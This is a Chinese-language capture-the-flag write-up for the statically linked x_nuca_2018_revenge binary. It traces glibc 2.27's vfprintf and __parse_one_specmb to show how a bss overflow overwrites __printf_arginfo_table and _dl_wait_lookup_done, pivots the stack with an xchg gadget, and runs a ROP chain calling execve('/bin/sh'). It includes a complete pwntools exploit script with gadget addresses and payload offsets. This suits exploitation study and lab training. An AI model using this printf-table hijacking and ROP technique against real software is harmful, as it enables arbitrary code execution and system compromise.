-
-
x_nuca_2018_revenge
-
发表于: 2020-10-21 21:37 3126
-
题目概览
静态编译。
1 2 3 4 5 | Arch: amd64 - 64 - little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE ( 0x400000 ) |
只有一个scanf和printf
scanf读到bss段上的name变量,并且无限溢出。
漏洞分析
printf()
调用 vfprintf (FILE *s, const CHAR_T *format, va_list ap)
由于vfprintf源码太长,这里就不全部放上来了。
地址在:glibc2.27_vfprintf( )实现
vfprintf大体的作用是:将对应的可变参数列表(format)的格式化数据 写入流(FILE *)
vfprintf简单分析
提取重要的一部分如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | #ifdef COMPILE_WPRINTF / * Find the first format specifier. * / f = lead_str_end = __find_specwc ((const UCHAR_T * ) format ); #else / * Find the first format specifier. * / f = lead_str_end = __find_specmb ((const UCHAR_T * ) format ); #endif / * Lock stream. * / _IO_cleanup_region_start ((void ( * ) (void * )) &_IO_funlockfile, s); _IO_flockfile (s); / * Write the literal text before the first format . * / outstring ((const UCHAR_T * ) format , lead_str_end - (const UCHAR_T * ) format ); / * If we only have to print a simple string, return now. * / if ( * f = = L_( '\0' )) goto all_done; / * Use the slow path in case any printf handler is registered. * / if (__glibc_unlikely (__printf_function_table ! = NULL || __printf_modifier_table ! = NULL || __printf_va_arg_table ! = NULL)) goto do_positional; |
其中
__find_specmb
调用:__strchrnul
定位格式化字符串的%
的位置。接下来给流上锁。
然后先把格式化字符串之前的纯文本,通过
outstring
调用_IO_sputn
最后通过write
输出。之后检测是不是剩下了空字节,如果是的话说明只是输出一个简单的文本字符串。那么直接结束。
最后当通过if的条件时:
1234/
*
Use the slow path
in
case
any
printf handler
is
registered.
*
/
if
(__glibc_unlikely (__printf_function_table !
=
NULL
|| __printf_modifier_table !
=
NULL
|| __printf_va_arg_table !
=
NULL))
当这三个量都为NULL时。到达:
do_positional
其中,__printf_function_table
追踪如下:extern printf_function **__printf_function_table;
最终到达:12345678910111213/
*
Type
of a printf specifier
-
handler function.
STREAM
is
the
FILE
on which to write output.
INFO gives information about the
format
specification.
ARGS
is
a vector of pointers to the argument data;
the number of pointers will be the number returned
by the associated arginfo function
for
the same INFO.
The function should
return
the number of characters written,
or
-
1
for
errors.
*
/
typedef
int
printf_function (
FILE
*
__stream,
const struct printf_info
*
__info,
const void
*
const
*
__args);
do_positional情况如下:
1 2 3 4 5 6 7 8 9 10 | / * Hand off processing for positional parameters. * / do_positional: if (__glibc_unlikely (workstart ! = NULL)) { free (workstart); workstart = NULL; } done = printf_positional (s, format , readonly_format, ap, &ap_save, done, nspecs_done, lead_str_end, work_buffer, save_errno, grouping, thousands_sep); |
接下来进入printf_positional
定义如下:
1 2 3 4 5 6 | static int printf_positional (_IO_FILE * s, const CHAR_T * format , int readonly_format, va_list ap, va_list * ap_savep, int done, int nspecs_done, const UCHAR_T * lead_str_end, CHAR_T * work_buffer, int save_errno, const char * grouping, THOUSANDS_SEP_T thousands_sep) |
接下来追踪到:
1 | nargs + = __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg); |
1 2 3 4 5 6 7 8 | / * FORMAT must point to a '%' at the beginning of a spec. Fills in * SPEC with the parsed details. POSN is the number of arguments already consumed. At most MAXTYPES - POSN types are filled in TYPES. Return the number of args consumed by this spec; * MAX_REF_ARG is updated so it remains the highest argument index used. * / extern size_t __parse_one_specmb (const unsigned char * format , size_t posn, struct printf_spec * spec, size_t * max_ref_arg) attribute_hidden; |
直接看程序里的这个位置。出现了一个函数指针的调用
源码在这里:https://elixir.bootlin.com/glibc/glibc-2.27/source/stdio-common/printf-parsemb.c
1 2 3 4 5 6 7 8 9 10 11 12 | / * Get the format specification. * / spec - >info.spec = (wchar_t) * format + + ; spec - >size = - 1 ; if (__builtin_expect (__printf_function_table = = NULL, 1 ) || spec - >info.spec > UCHAR_MAX || __printf_arginfo_table[spec - >info.spec] = = NULL / * We don't try to get the types for all arguments if the format uses more than one. The normal case is covered though. If the call returns - 1 we continue with the normal specifiers. * / || ( int ) (spec - >ndata_args = ( * __printf_arginfo_table[spec - >info.spec]) (&spec - >info, 1 , &spec - >data_arg_type, &spec - >size)) < 0 ) |
其中__printf_arginfo_table应该是一个函数表,然后spec->info.spec作为下标调用。也就是只要我们劫持了虚表对应位置的指针,那么就可以劫持程序流了。
而:
switch (spec->info.spec)
{
case L'i':
case L'd':
case L'u':
case L'o':
case L'X':
case L'x':spec->info.spec
相当于是格式控制字符's'即0x73,那么其实调用的就是:
1 2 3 4 5 6 | ( * __printf_arginfo_table[ 0x73 ]) (&spec - >info, 1 , &spec - >data_arg_type, &spec - >size) ) |
那么劫持这个位置的就可以劫持程序流了。
攻击过程
没有system,所以只能自己拼gadgets,幸好是静态链接+nopie。
有如下gadgets:
1 2 3 4 5 6 7 8 9 | 0x0000000000400525 : pop rdi ; ret 0x00000000004059d6 : pop rsi ; ret 0x0000000000435435 : pop rdx ; ret 0x000000000043364c : pop rax ; ret 0x0000000000400484 : pop rbp ; ret 0x0000000000400da1 : pop rbx ; ret 0x000000000040118b : pop rsp ; ret 0x0000000000400368 : syscall |
当然光有gadgets没用,我们需要将执行流拉过去。并且要构造59号系统调用,这要求我们控制rax。
看到 0x46d935
:
1 2 3 4 5 6 7 8 | .text: 000000000046D935 .text: 000000000046D935 loc_46D935: ; CODE XREF: _dl_close_worker + D3B↑j .text: 000000000046D935 mov rax, cs:_dl_scope_free_list .text: 000000000046D93C test rax, rax .text: 000000000046D93F jz loc_46D383 .text: 000000000046D945 cmp qword ptr [rax], 0 .text: 000000000046D949 jz loc_46D383 .text: 000000000046D94F jmp loc_46D8B1 |
而 _dl_scope_free_list
是在bss段上的,可以 通过溢出控制:
之后到达:
1 2 3 4 5 6 7 8 9 | .text: 000000000046D8B1 loc_46D8B1: ; CODE XREF: _dl_close_worker + D35↑j .text: 000000000046D8B1 ; _dl_close_worker + DDF↓j .text: 000000000046D8B1 call cs:_dl_wait_lookup_done .text: 000000000046D8B7 mov r12, cs:_dl_scope_free_list .text: 000000000046D8BE test r12, r12 .text: 000000000046D8C1 jz loc_46D383 .text: 000000000046D8C7 mov rax, [r12] .text: 000000000046D8CB test rax, rax .text: 000000000046D8CE jz loc_46D383 |
调用了:_dl_wait_lookup_done
也在bss段上可控。
1 2 3 4 | .bss: 00000000006B78C0 ; __int64 ( * dl_wait_lookup_done)(void) .bss: 00000000006B78C0 _dl_wait_lookup_done dq ? ; DATA XREF: _dl_scope_free + 3D ↑r .bss: 00000000006B78C0 ; _dl_scope_free + 8F ↑r ... .bss: 00000000006B78C8 public _dl_profile |
最后,我们劫持_dl_wait_lookup_done让程序流向数据段上的:
翻译成代码:
1 2 | .rodata: 00000000004A1A79 xchg eax, esp .rodata: 00000000004A1A7A retn |
通过交换rax和rsp来控制rsp的值。
把整个程序的执行流拉到我们的bss段上的rop chain中。
梳理一下利用过程:
- 首先把rop放到bss段上,并且溢出填充至
.text:000000000046D935 mov rax, cs:_dl_scope_free_list
,通过覆盖bss上的dl_scope_free_list
来控制rax为我们rop链的地址。 - 改
0x6b7778
处的地址为:0x000000000046D935
,这个是我们call rax;
的时候的跳转的地址。 - 之后跳到
.text:000000000046D8B1 call cs:_dl_wait_lookup_done
,通过覆盖bss上的_dl_wait_lookup_done
来使程序流到达:.rodata:00000000004A1A79 xchg eax, esp
实现rsp和rax的互换,间接劫持rsp,借此控制程序执行流到达我们ROP chain的位置。 - 执行rop chain getshell
注意:实际调试的时候发现,需要满足:__printf_modifier_table == NULL
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 | # encoding=utf-8 from pwn import * from LibcSearcher import * s = lambda buf: io.send(buf) sl = lambda buf: io.sendline(buf) sa = lambda delim, buf: io.sendafter(delim, buf) sal = lambda delim, buf: io.sendlineafter(delim, buf) shell = lambda : io.interactive() r = lambda n = None : io.recv(n) ra = lambda t = tube.forever:io.recvall(t) ru = lambda delim: io.recvuntil(delim) rl = lambda : io.recvline() rls = lambda n = 2 * * 20 : io.recvlines(n) libc_path = "./libc-2.27.so" elf_path = "./x_nuca_2018_revenge" ld = ELF( '/lib/x86_64-linux-gnu/ld-2.27.so' ) libc = ELF(libc_path) elf = ELF(elf_path) #io = remote("node3.buuoj.cn",26000) if sys.argv[ 1 ] = = '1' : context(log_level = 'debug' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) elif sys.argv[ 1 ] = = '0' : context(log_level = 'info' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) #io = process([elf_path],env={"LD_PRELOAD":libc_path}) cho = '' # choice提示语 siz = '' # size输入提示语 con = '' # content输入提示语 ind = '' # index输入提示语 edi = '' # edit输入提示语 def add(size,content = ' ',c=' 1 '): sal(cho,c) pass def free(index,c = ''): sal(cho,c) pass def show(index,c = ''): sal(cho,c) pass def edit(index,content = ' ',c=' '): sal(cho,c) pass # 获取pie基地址 def get_proc_base(p): proc_base = p.libs()[p._cwd + p.argv[ 0 ].strip( '.' )] info( hex (proc_base)) # 获取libc基地址 def get_libc_base(p): libc_base = p.libs()[libc_path] info( hex (libc_base)) def exp(): ''' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) ''' global io io = process(elf_path) name_addr = 0x6B73E0 _dl_scope_free_list = 0x6B7910 _dl_wait_lookup_done = 0x6B78C0 __printf_arginfo_table = 0x6b7aa8 __printf_function_table = 0x6b7a28 xchg = 0x4A1A79 #io = remote("node3.buuoj.cn",29679) """ 0x45ad08 <__parse_one_specmb+1208> mov rcx, qword ptr [rip + 0x25cd99] <0x6b7aa8> ► 0x45ad0f <__parse_one_specmb+1215> mov rax, qword ptr [rcx + rdx*8] <0x6b7778> 0x45ad13 <__parse_one_specmb+1219> test rax, rax 0x45ad16 <__parse_one_specmb+1222> je __parse_one_specmb+424 <0x45a9f8> 0x45ad1c <__parse_one_specmb+1228> lea rcx, [rbx + 0x40] 0x45ad20 <__parse_one_specmb+1232> lea rdx, [rbx + 0x34] 0x45ad24 <__parse_one_specmb+1236> mov esi, 1 0x45ad29 <__parse_one_specmb+1241> mov rdi, rbx 0x45ad2c <__parse_one_specmb+1244> call rax """ rop = p64( 0x0000000000400525 ) + p64(name_addr + 8 * 9 ) rop + = p64( 0x00000000004059d6 ) + p64( 0 ) rop + = p64( 0x0000000000435435 ) + p64( 0 ) rop + = p64( 0x000000000043364c ) + p64( 0x3b ) # execve rop + = p64( 0x0000000000400368 ) rop + = '/bin/sh\x00' rop = rop.ljust( 0x6b7778 - name_addr, '\x90' ) # 0x398 rop + = p64( 0x000000000046D935 ) # call rax rop = rop.ljust(_dl_wait_lookup_done - name_addr, '\x90' ) # 0x4e0 rop + = p64(xchg) rop = rop.ljust(_dl_scope_free_list - name_addr, '\x90' ) # 0x530 rop + = p64(name_addr) rop = rop.ljust(__printf_function_table - name_addr, '\x90' ) # rop + = '\x90' * 8 rop + = p64( 0 ) # __printf_modifier_table = NULL rop = rop.ljust(__printf_arginfo_table - name_addr, '\x90' ) # 0x6c8 rop + = p64(name_addr) pause() sl(rop) shell() """ .bss:00000000006B73D8 ; __register_frame_info_bases_part_6+42↑w ... .bss:00000000006B73E0 public name .bss:00000000006B73E0 name db ? ; ; DATA XREF: main+19↑o .bss:00000000006B73E0 ; main+31↑o .bss:00000000006B7910 public _dl_scope_free_list .bss:00000000006B7910 _dl_scope_free_list dq ? .bss:00000000006B78C0 ; __int64 (*dl_wait_lookup_done)(void) .bss:00000000006B78C0 _dl_wait_lookup_done dq ? ; DATA XREF: _dl_scope_free+3D↑r .bss:00000000006B78C0 ; _dl_scope_free+8F↑r ... .bss:00000000006B78C8 public _dl_profile """ """ 0x0000000000400525 : pop rdi ; ret 0x00000000004059d6 : pop rsi ; ret 0x0000000000435435 : pop rdx ; ret 0x000000000043364c : pop rax ; ret 0x0000000000400484 : pop rbp ; ret 0x0000000000400da1 : pop rbx ; ret 0x000000000040118b : pop rsp ; ret 0x0000000000400368 : syscall """ exp() |
参考
https://blog.csdn.net/iteye_21202/article/details/82606514
https://elixir.bootlin.com/glibc/glibc-2.27/source/stdio-common/vfprintf.c#L1243
https://xz.aliyun.com/t/3437
https://www.cnblogs.com/fanzhidongyzby/p/3519838.html
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课